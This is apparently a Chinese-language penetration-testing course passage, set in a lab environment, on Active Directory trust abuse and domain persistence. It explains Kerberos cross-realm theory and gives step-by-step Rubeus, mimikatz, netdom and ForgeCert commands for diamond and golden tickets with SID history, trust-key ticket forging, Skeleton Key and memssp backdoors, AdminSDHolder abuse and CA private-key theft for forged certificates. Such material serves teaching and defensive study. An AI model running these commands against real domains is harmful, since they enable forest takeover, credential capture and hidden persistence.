<table border="1" id="bkmrk-%E8%AE%BF%E9%97%AE%E7%B1%BB%E5%9E%8B-%E6%9C%8D%E5%8A%A1-psexec-cifs-" style="border-collapse: collapse; width: 100%; height: 177.6px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**访问类型**</td><td style="height: 29.6px;">**服务**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PsExec</td><td style="height: 29.6px;">CIFS</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">WMI</td><td style="height: 29.6px;">HOST, RPCSS</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">WinRM</td><td style="height: 29.6px;">HOST, HTTP</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">计划任务</td><td style="height: 29.6px;">HOST</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">DCSync</td><td style="height: 29.6px;">LDAP (仅在域控制器上)</td></tr></tbody></table>

# 钻石票据

类似于黄金票据，钻石票是一种 TGT，可以以任何用户身份来访问任何服务。黄金票据是完全离线伪造的，用该域的 krbtgt 哈希加密，然后传递到登录会话中以供使用。因为域控制器不追踪它发布的有效 TGT，所以它会接受使用自己的 krbtgt 哈希加密的 TGT。

因此，检测黄金票据使用的一种可行策略是查找**没有相应 AS-REQ 的 TGS-REQ**。 钻石票据是通过修改域控制器签发的有效 TGT 的字段来制作的。这是通过请求 TGT，使用域的 krbtgt 哈希对其进行解密，修改票据的所需字段，然后再重新加密来实现的。这克服了之前提到的黄金票据的缺点，即任何 TGS-REQ 都会有一个前置的 AS-REQ。

我们可以使用 Rubeus 制作钻石票据，需要以下这些参数：

```
/tgtdeleg：使用kerberos gss-api获取有效的 TGT，并且不需要知道当前用户的任何凭证
/ticketuser：要模仿的用户
/ticketuserid：要模仿的用户的域 RID
/groups：组RID，域管理员的为512
/krbkey：krbtgt的AES256 密钥
```

最终命令如下：

```
rubeus.exe diamong /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:512 /krbkey:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/gk7wwalLl2sL6Viq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/gk7wwalLl2sL6Viq-image.png)

之后，我们导入票据即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/KFTg492nWTBudVFp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/KFTg492nWTBudVFp-image.png)

# 跨域理论

当我们最终接管了当前域，接下来要做的便是占领更多的域，主要通过利用域信任以及其他的不当配置来实现。在那之前，我们需要熟悉一些跨域理论相关的名词，因为跨域理论较为复杂，涉及到的理论知识比较多。

### **概念与名词**

##### **域信任**

域信任是 AD 的一个关键组件，它使一个域中的用户能够对另一个域中的系统和资源进行身份验证和访问。理解域信任的几个方面很重要，包括信任的方向和对资源的访问。信任的方向可以是单向的，也可以是双向的。单向信任是在两个域之间创建的单向身份认证路径，如果域 A 信任域 B，则域 B 中的用户可以访问域 A 中的资源。但是，域 A 中的用户不能访问域 B 中的资源，单向信任发生在不同的森林之间。双向信任是相互的信任，每个域中的用户都可以访问另一个域中的资源。因此，如果域 A 和域 B 之间存在双向信任，则域 A 中的用户可以访问域 B 中的资源，反之亦然。双向信任必定建立在在同一片森林里，可能建立在不同的森林间。尽管信任决定着资源访问的方向，但在建立信任后，域信任不会自动授予来自受信任域的用户访问信任域中所有资源的权限，对资源的实际访问受权限和组成员身份以及特权有关。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/Rhl2hhnLqTNofx1D-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-10/Rhl2hhnLqTNofx1D-image.png)

信任还可以根据传递性进行分类。传递信任则是，如果域 A 信任域 B，域 B 信任域 C，则域 A 信任域 C。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/jicbgJHNSUnkQ8aS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/jicbgJHNSUnkQ8aS-image.png)

那么非传递信任 (单向或双向) 仅限于信任关系中的两个域。在**同一森林内**，任意域都是**双向信任**和**可传递**的。但在森林之间，则默认不成立，例如 森林 A 信任森林 B，森林 B 信任 森林 C，但森林 A 不信任 森林 C，森林 A 甚至不知道森林 C 的存在。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/DsIQzPwEMIn93hfu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/DsIQzPwEMIn93hfu-image.png)

例如，在我们靶场里，white-bird 域与 raven-med 域相互信任，med-factory 域信任 raven-med 域，但是 med-factory 的信任不能间接延续到 white-bird 域。但是，互相信任的森林各自之中的子域则可以互相访问，因为 prod 域是 raven-med 的子域，因此 white-bird 域与 prod 域也是互相信任，med-factory 域也单向信任 prod 域。

##### **域管理员与企业管理员**

这是 AD 中的两个高特权分组，域管理员仅对其特定域具有管理权限，而企业管理员对森林中所有域具有管理访问权限。下图分别是 PROD 与 RAVEN-MED 中 administrator 的信息，我们发现只有 **RAVEN-MED\\Administrator** 属于企业管理员分组。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/8nTbGfPKOWB0n4fc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/8nTbGfPKOWB0n4fc-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/0TtpUqhlcXlUIbTC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/0TtpUqhlcXlUIbTC-image.png)

##### **外部安全主体**

AD 中的外部主体对象表示来自**受信任的**外部域的安全主体，这用于将受信任域中的用户或组添加到信任域中的安全组。例如在 Med-factory 域中 (Med-factory 信任 Raven-med)，Administrators 组内有个外部成员，该成员为 Raven-med 中的 ExtAdmin 组。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/YTXAeWh7GNpmGK0T-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/YTXAeWh7GNpmGK0T-image.png)

##### **SID 历史**

SID History/ExtraSids 是一个适用于**迁移场景**的属性，当用户、组或其他安全主体对象从一个域移动到另一个域时，会为该对象分配一个新的 SID，但旧的 SID 会存储在 **SID History** 属性中，这允许安全主体在迁移后通过添加他们以前的 SID 来保持对以前域中资源的访问。

##### **信任密钥 (跨域密钥)**

信任密钥本质上是在创建信任关系时在两个域之间建立的密钥，信任密钥用于保护两个域之间的通信并确保域彼此的真实性。例如 **prod** 域与 **raven-med** 域互相信任，因此在 raven-med 域中存在着 **prod$** 的信任账户，在 prod 域中存在着 **raven-med$** 的信任账户，信任账户是特殊的账户类型，在用户管理工具中不可见，但的确存在。下图分别是 Dc01 与 Dc02 上的视角，我们可以看到同一个信任方向 (例如都是从 PROD 到 RAVEN-MED) 的密钥在 2 个域中是相同的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/WbE4qy90qBVhx6T9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/WbE4qy90qBVhx6T9-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/lPg5sCgzU6sxDXOI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/lPg5sCgzU6sxDXOI-image.png)

##### **跨域 TGT**

在 Kerberos 身份认证的上下文中，当一个域中的用户需要访问另一个域中的服务时，将使用跨域 TGT (Inter-realm TGT)。用户所在域与服务所在域共享该跨域 TGT，以允许对用户进行身份验证。

##### **SID 过滤器**

**森林是域信任的安全边界**，而 SID 过滤器是 AD 信任关系中使用的一项安全功能，域在建立信任后，通常会默认启用 SID 过滤器，以提供一定程度的保护，以防止试图使用 SID 历史获得对资源的未授权访问，即不再盲目 SID 组归属了。域中的每个帐户和组都有一个 SID，其中包括域中所有 SID 都相同的域前缀，以及域中唯一的 RID。Windows 为新建的用户、主机。群组赋予**高于或等于 1000 的 RID**，这意味着如果 SID 包含小于 1000 的 RID，则 SID 对应于内置安全主体，例如认证用户 、所有人，或域管理员。

通过过滤掉 RID 小于 1000 的 SID，有助于防止用户授予自己不应有的特权。例如，域 A 中的攻击者设法将域 B 中的域管理员组的 SID 添加到他们自己的访问令牌中，如果没有 SID 过滤器来过滤掉该 SID，那么该攻击者将能够获得对域 B 的域管理员权限。值得注意的是，是可以在域信任上禁用 SID 过滤器的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/UtNsE1HvfaF1sy6s-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-10/UtNsE1HvfaF1sy6s-image.png)

<div class="pointer-container" id="bkmrk-%C2%A0-5"><div class="pointer anim is-page-editable"><svg class="svg-icon" data-icon="link" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"></svg><div class="input-group inline block"> <button class="button outline icon" data-clipboard-target="#pointer-url" title="复制链接" type="button"><svg class="svg-icon" data-icon="copy" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"></svg></button></div><svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"></svg></div></div>### **跨域理论**

有了对上述概念的理解，让我们来了解一下跨域访问服务的过程吧。从本质上讲，域信任所做的只是将两个域的身份验证系统链接起来，并允许身份验证通信通过引用系统在它们之间流动。如果用户请求访问位于所在域之外的资源的 SPN，则他们的域控制器将返回指向外部域 KDC 的引用票据。

用户的 TGT 包含在此 TGS-REP 引用票据中，并且此票证使用域信任密钥加密/签名的，而不是第一个域的 krbtgt 帐户的密钥。 此票据通常称为跨域 TGT。然后，外部域通过信任密钥对其进行解密来验证/解密引用票据中包含的 TGT，然后继续正常 Kerberos 流程的其余部分。流程图如下所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/VxGaNT6cGPBwDG2y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/VxGaNT6cGPBwDG2y-image.png)

AS-REQ：用户向当前域的域控制器请求 TGT  
AS-REP：KDC 将 TGT 返回给认证用户  
TGS-REQ：用户向 KDC 请求访问目标域中某服务的 TGS  
TGS-REP：当前域没有目标域 krbtgt 的密钥，因此返回的是使用**跨域密钥**加密的**跨域 TGT**  
TGS-REQ：跨域 TGT 被传递到目标域，请求特定服务  
TGS-REP：跨域 TGT 被跨域密钥解密和验证，然后 TGS 被返回给用户

有了对跨域认证和访问的理解后，我们接下来讨论各种情况下的跨域利用。

# 双向信任

有了上一小节的理论基础，我们来利用双向信任实现域间的移动。因为双向信任既可以发生于森林之内，也可以发生于森林之间，因此我们分别讨论。

### **森林之内**

森林之内的横向移动是最简单的情形，因为信任是相互的，例如从子域移动到父域。我们有 2 种方式在森林之内移动，分别是利用 **krbtgt** 以及**信任密钥**，我们在 Dc01 上进行利用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/TNhRitvpg5kJl86J-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/TNhRitvpg5kJl86J-image.png)

#### **krbtgt** 

由于信任在 AD 森林中的作用方式，sidHistory 属性 (PAC 中的 ExtraSids) 在森林的域中是起作用的，因为这些 SID 不会在**跨域引用**中被 **SID 过滤器**过滤掉。因此，将 sidHistory/ExtraSids 设置为根域中的**企业管理员的 SID** 能够奏效，就好像他们真的是是企业管理员一样。Microsoft 已经知道这是一个问题，因此 sidHistory 是一个受保护的属性，很难修改，在以前对其的利用也是相当复杂的。  
现在，有了 Mimikatz/Rubeus 的**黄金票据**模块，攻击者可以为伪造的票据设置 **KERB\_VALIDATION\_INFO** 结构体 (该结构定义了 DC 提供的用户登录和授权信息) 中的 **ExtraSids** 部分，ExtraSids 被描述为指向 **KERB\_SID\_AND\_ATTRIBUTES 结构体列表的指针**，该结构包含与主体所属域以外的域中的组相对应的 SID 列表。

因此，如果攻击者在森林中的**任何子域**中能有权限检索**子域的 krbtgt 哈希**，将**根域的企业管理员的 SID** 添加到 Mimikatz/Rubeus 伪造的黄金票据中，便可以接管整片森林。

但，这仅适用于在森林内的双向信任，由于 SID 过滤，这不适用于森林之间的双向信任。我们来看看利用的过程：

获得子域的 krbtgt 密钥：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XYuOLfgSGy3YeEIn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XYuOLfgSGy3YeEIn-image.png)

将 ExtraSids 设置为企业管理员的 SID

```
Rubeus.exe golden /aes256:8d253b4d7db4f28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XuVqy9rZyTl7dLvM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XuVqy9rZyTl7dLvM-image.png)

创建牺牲会话、导入票据以及验证访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6EcXdsSdol6OwOxo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6EcXdsSdol6OwOxo-image.png)

#### **信任密钥**

跨域访问服务的过程我们已经讨论过了，首先我们需要得到信任密钥，通过下述命令之一获得：

```
mimikatz lsadump::dcsync /domain:prod.raven-med.local /user:raven-med$
mimikatz lsadump::trust /patch 
```

如下图所示，得到的密钥是一致的。如果用的后者，寻找 **\[In\]** 信任密钥。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/WX4c8Fmn6NscJ5pa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/WX4c8Fmn6NscJ5pa-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GlwdnNq19oHXeOjN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GlwdnNq19oHXeOjN-image.png)

使用跨域密钥申请**跨域 TGT**：

```powershell
Rubeus.exe golden /rc4:7a93230db5144ccd92ac1fa086f46e49 /user:Administrator /domain:prod.raven-med.local /sid:S-1-5-21-1674258736-4167122442-1078531953 /sids:S-1-5-21-3775014555-2484002919-2799327105-512 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/iL6Huo7nWzq8X0FO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/iL6Huo7nWzq8X0FO-image.png)

使用跨域 TGT 申请 TGS：

```powershell
Rubeus.exe asktgs /ticket:<...> /service:cifs/dc02.raven-med.local /dc:dc02.raven-med.local /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/0Ej3hVftYiRaZz6e-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/0Ej3hVftYiRaZz6e-image.png)

创建牺牲会话、导入票据以及验证访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/5th5MrzYuI5ZJqlK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/5th5MrzYuI5ZJqlK-image.png)

### **森林之间**

请记住，**森林是 AD 中安全的边界**，而域不是，因此利用森林之间的双向信任我们会遇到其他的限制。我们在 **Dc02** 上试图通过利用森林间的双向信任移动到 White-bird 域中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/tzYfPEGk3YiJHqnI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/tzYfPEGk3YiJHqnI-image.png)

为了缓解 SID 过滤器的限制，我们需要在 Dc05 上开启 SID 历史

```powershell
netdom trust white-bird.local /d:raven-med.local /enablesidhistory:yes
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/hm3yyxdaDu5kczHO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/hm3yyxdaDu5kczHO-image.png)

再来查看域信任，我们发现增加了 **TREAT\_AS\_EXTERNAL** 的信任属性。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/rmKku83EikxE1DWU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/rmKku83EikxE1DWU-image.png)

对于具有双向信任的森林之间的移动，步骤整体相似，但是在上一小节我们提到了 **SID 过滤器**，因此我们需要寻找出 **RID ≥1000** 的组。White-bird 域中，**Server Admin** 满足，虽然并不能让我们直接获得对域控制器的访问，但给予了我们一个立足空间。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XjAeU1Nl07Bjr21c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XjAeU1Nl07Bjr21c-image.png)

# 入口信任

入口信任，即目标域信任当前域，当前域可以访问目标域中的资源。要想从当前域移动到信任我们的目标域，我们有以下步骤需要完成：

#### **寻找外部组/成员。**

既然我们可以访问目标域中的资源，自然可以使用 PowerView 等工具对目标域进行枚举。让我们来查找目标域中包含域外用户的分组：

```powershell
Get-DomainForeignGroupMember -domain <目标域>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/DPrV4XooIhuKe3fO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/DPrV4XooIhuKe3fO-image.png)

我们发现 Raven-med 域中的 ExtAdmin 分组在 Med-factory 域中是 Administrators 组的外部成员，即 ExtAdmin 中的用户在 Med-factory 中具有域管理员特权。考虑到我们已经在 raven-med 域中获得了管理员权限，那么模仿任何 ExtAdmin 中的成员是简单的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/v24JF1RzRc8ikAD0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/v24JF1RzRc8ikAD0-image.png)

#### **请求跨域 TGT**

我们先为目标用户 michael 申请一张 TGT。

```
rubeus.exe asktgt /user:michael /domain:raven-med.local /aes256:8d71c60bd250034b4c5dec618bf951c82761d17e451f8d53ef26784b3c5c6e09 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vK7IAGERKDAfvfpw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vK7IAGERKDAfvfpw-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/NOiuOnbM7b9vSE8n-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/NOiuOnbM7b9vSE8n-image.png)

然后用这张 TGT 请求跨域 TGT：

```powershell
rubeus.exe asktgs /service:krbtgt/med-factory.local /domain:raven-med.local /dc:dc02.raven-med.local /ticket:<...> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/QflsmoQoDIPJoPmR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/QflsmoQoDIPJoPmR-image.png)

#### **请求 TGS**

我们用这张跨域票据请求目标域中的 TGS，这里，我们请求的是 CIFS 服务的票据。

```powershell
rubeus.exe asktgs /service:cifs/dc03.med-factory.local /domain:med-factory.local /dc:dc03.med-factory.local /ticket:<...> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/RiLKSW1qonznBNaV-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-10/RiLKSW1qonznBNaV-image.png)

#### **访问资源**

创建一个牺牲会话，导入 TGS 票据，访问 Dc03 的资源。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/P1rh2YOAk64AyK9D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/P1rh2YOAk64AyK9D-image.png)

# 出口信任

相比于入口信任与双向信任，出口信任的利用途径则少了许多，因为我们无法直接对目标域进行枚举和访问。如图所示，white-bird 域信任 med-deal 域，因此在 white-bird 域里，我们并不能枚举到 med-deal 域中的信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/FBb9HYy7DH7O0whQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/FBb9HYy7DH7O0whQ-image.png)

### **信任密钥利用**

在存在信任关系的 2 个域之中，都会分别存储着信任账户，它们的 NTLM 值相同以作为跨域密钥。虽然信任账户不存在特权，但能允许我们以目标域的上下文进行信息枚举。

我们可以通过 Mimikatz 的 **lsadump::trust /patch** 命令导出信任密钥，也可以通过 DCSync 的方式提取。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/mbEjnJPaACin5hZH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/mbEjnJPaACin5hZH-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/06Rap6nHNbJiUidp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/06Rap6nHNbJiUidp-image.png)

如果使用 DCSync 的方式，我们需要首先获得**受信域对象**的 **GUID**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/73QYKwiLn8HPsmtG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/73QYKwiLn8HPsmtG-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/G1jlUS2Np3CIB6Uw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/G1jlUS2Np3CIB6Uw-image.png)

我们能看到，值是相同的。因为该密钥每 30 天更换，所以我们往往选择 **\[Out\]** 中的。以 Dc04 的视角，我们也能看到跨域密钥是一致的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/82IReZtW9WqNVPqg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/82IReZtW9WqNVPqg-image.png)

然后，我们使用 Rubeus 为目标域的信任账户申请 TGT，信任账户的名称形式为对方域 (也就是我们当前所在的域)的域名 (**非 FQDN**)，并以 **$** 结尾，看起来像主机账号。

```powershell
rubeus.exe asktgt /user:white-bird$ /domain:med-deal.local /rc4:6dc6bd04edfb6b7298b9679531c9e2ca /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/IXOIVBG2TsQhXpmz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/IXOIVBG2TsQhXpmz-image.png)

我们可以看到 TGT 请求成功了。创建一个牺牲会话，导入票据，便可以对目标域进行枚举了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/soNId3aCB1PPDkfJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/soNId3aCB1PPDkfJ-image.png)

### **其他**

除了信任密钥外，还有一些更加通用的跨域方法，包含但不局限于利用 **SQL 链接**、**窃取正在访问当前域的目标域用户的令牌**等。在 MSSQL 利用的内容中，我们知道 Med-deal 中 Srv02 部署的 MSSQL 实例与 Web02 所部署的 MSSQL 实例存在 SQL 链接关系。

# AdminSDHolder

当我们支配了整个域甚至森林之后，我们想要在域内维持高特权。我们可以通过多种技术实现域内访问持久化，有些技术在之前内容已经涉及过了，例如对高特权的主机 (例如配置非约束委派的) 实现本地持久化、对高特权的主体施加 ACL (例如 GenericAll) 等。接下来，我们介绍一些尚未讨论过的域持久化技术。

AdminSDHolder 是一个具有一些默认安全权限的特殊 AD 容器，用作**受保护的帐户和组 (**如域管理员、企业管理员等) 的模板，以防止它们被有意或无意的修改，并确保他们的安全。

```
Account Operators
Backup Operators
Server Operators
Print Operators
Domain Admins
Replicator
Enterprise Admins
Domain Controllers
Read-only Domain Controllers
Scheme Admins
Administrators
```

这样做的目的是确保高权限帐户具有更强的安全描述符，以防止非特权帐户更改他们的权限。称为**安全描述符传播器** (SDProp) 的进程**每小时**运行一次，以强制将 AdminSDHolder 安全描述符应用到所有受保护的组及其成员。例如，我们赋予一用户对 Domain Admins 组 Full Control 的 DACL，大概在 60 分钟后，该 ACE 会消失。但是 AdminSDHolder 本身不被保护，因此如果我们修改对它的 DACL，这些更改将被复制到后续对象。因此，即使管理员在域管理员等特权群组上看到了恶意的 DACL 并将其删除，在 AdminSDHolder 的作用下，恶意 DACL 也会再次被还原以及重新应用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/yuOeKoDpt0ZUhUrA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/yuOeKoDpt0ZUhUrA-image.png)

# 万能钥匙

万能钥匙 (Skeleton key) 是一种持久化技术，只适用于域控制器，通过补丁域控制器上的 **Lsass.exe** 进程以劫持 NTLM 和 Kerberos 认证流程，以允许任何用户以一个相同的密码 **mimikatz** 进行认证，当然用户原本的密码也依旧有效。

在域控制上运行mimikatz

```
mimikatz misc::skeleton
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vGfwfFUNGvMdwM3f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vGfwfFUNGvMdwM3f-image.png)

然后，我们可以用任何账户以及密码 **mimikatz** 进行认证了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/4NQXyBraj3cxEhEr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/4NQXyBraj3cxEhEr-image.png)

# 恶意认证包

在之前的内容里，我们知道 AP/SSP 通过分析登陆数据来认证 Windows 用户，不同的 AP/SSP 对多种登陆过程以及认证协议提供支持。AP/SSP 以 DLL 形式存在，被 LSA 所加载和使用。常见的 AP/SSP 有 NTLM，Kerberos，WDigest，Credman 等。Mimikatz 提供恶意的SSP文件 **mimilib.dll**，此 SSP 在目标服务器上以**明文形式**记录本地登录、服务帐户和计算机帐户密码。我们可以通过自动和手动的方式来利用自定义SSP实现持久化。

### **自动**

在 Cobalt Strike 上使用 mimikatz 命令及 misc::memssp 子选项实现植入后门 SSP。

```
mimikatz misc::memssp
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/OOHZkOE7NkOfUYHf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/OOHZkOE7NkOfUYHf-image.png)

之后可以在 **C:\\Windows\\system32\\mimilsa.log** 查看明文登陆日志。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/NTYAi8irosSw62ob-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/NTYAi8irosSw62ob-image.png)

# 黄金证书攻击

### **背景**

在具有 ADCS 的环境里，CA 的私钥在 CA 服务器上受到 DPAPI 或硬件解决方案 (HSM/TPM) 的保护。 此外，证书被发布在 **NTAuthCertificates** 森林对象，该对象定义了启用 AD 身份验证的 CA 证书。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Ms1Zfgture7qCqug-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Ms1Zfgture7qCqug-image.png)

总之，证书存在于 NTAuthCertificates 中的 CA 使用其私钥签署来自请求客户端的 CSR。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/R9ODUOQVTJhIhj5p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/R9ODUOQVTJhIhj5p-image.png)

CA 私钥的安全性至关重要，如果私钥不受 TPM 或 HSM 等硬件解决方案的保护，则密钥将使用 **DPAPI** 加密并存储在 **CA 服务器的文件系统**中。如果攻击者能够对 CA 服务器实现提升特权下的代码执行，他们可以使用 **Mimikatz** 或 **SharpDPAPI** 等工具提取任何不受硬件保护的 CA 证书的私钥。因为用于签署已颁发证书的唯一密钥物件是 **CA 的私钥**，如果攻击者窃取这样的密钥，他们可以伪造能够进行身份认证的证书，这些伪造的证书可以用于域中的任何主体，并且只要 CA 证书有效，证书就会一直有效。此外，由于这些证书不是正常颁发过程的产物，因此 CA 不知道它们的创建，所以伪造的证书不能被撤销。

另外，在大型组织中，AD CS 服务可能被安装在**单独的服务器**上，而不是域控制器上。并且通常CA 服务器没有得到域控制器那样的高度安全性重视。因此，虽然只有域管理员可以访问与管理域控制器，但服务器管理员等权限略低一些的角色却可以访问 CA。虽然这可以看作是一种特权提升，但也是域持久化的一种方法。

### **利用**

在我们的靶场里，Med-factory 域存在 ADCS 服务。因此，在 CA 上，也就是 Dc03 上，使用工具 **SharpDPAPI** ([https://github.com/GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI))来提取 CA 的私钥：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/gU5XIxhJ9lepbTIA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/gU5XIxhJ9lepbTIA-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/76EW2FwBNt3Kr4mk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/76EW2FwBNt3Kr4mk-image.png)

将**私钥连同证书**一起保存为 **pem** 格式文件，然后使用下面的 **openssl** 命令将其转换为 **pfx** 格式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Q9XFFgFLMkXIQCd2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Q9XFFgFLMkXIQCd2-image.png)

然后，我们使用工具 ForgeCert ([https://github.com/GhostPack/ForgeCert](https://github.com/GhostPack/ForgeCert)) 来伪造证书，其中用户名需要是域内存在的。

```powershell
ForgeCert.exe --CaCertPath C:\windows\tasks\cert.pfx --CaCertPassword 123123 --Subject "CN=User" --SubjectAltName "administrator@med-factory.local" --NewCertPath c:\windows\tasks\fake.pfx --NewCertPassword 123123
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/BuhZZuizzDrzbP9s-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/BuhZZuizzDrzbP9s-image.png)

最后，使用 Rubeus 通过证书的方式请求用户的 TGT。

